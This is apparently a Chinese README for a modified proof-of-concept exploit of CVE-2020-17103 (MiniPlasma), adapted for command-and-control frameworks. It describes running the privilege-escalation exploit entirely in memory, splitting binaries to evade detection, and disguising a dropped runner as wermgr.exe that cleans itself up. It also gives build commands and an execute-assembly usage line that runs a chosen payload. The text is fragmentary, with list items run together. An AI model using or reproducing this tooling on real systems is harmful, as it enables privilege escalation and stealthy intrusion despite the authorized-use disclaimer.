修改自 Nightmare-Eclipse/MiniPlasma(CVE-2020-17103)的版本,适配 C2 使用。
原始 PoC 仅从磁盘运行。此版本通过执行程序集完全在内存中运行,采用拆分二进制方法以避免检测。
本工具仅用于授权安全测试和教育目的。在未获得明确书面许可的情况下使用本工具攻击系统是非法且不道德的。作者不对因使用本工具而导致的滥用或损害承担责任。进行任何安全测试前请务必获得适当授权。
Assembly.Location 自行重启动)Environment.Exit() 调用C:\ProgramData 传递(用户和 SYSTEM 上下文均可访问)csc /platform:x64 /optimize /out:runner.bin MiniRunner.cs
msbuild MiniPlasma.sln /p:Configuration=Release
注意: runner.bin 必须先编译——它会在构建时嵌入到主 EXE 中。
execute-assembly MiniPlasma-Runner.exe C:\Path\To\payload.exe
不带参数时默认使用 conhost.exe。
sc start cldflt)只有 MiniRunner 会触及磁盘(约 5KB),作为 wermgr.exe 存放在 C:\ProgramData 下的临时目录中。执行后自动清理。主漏洞利用从不触及磁盘。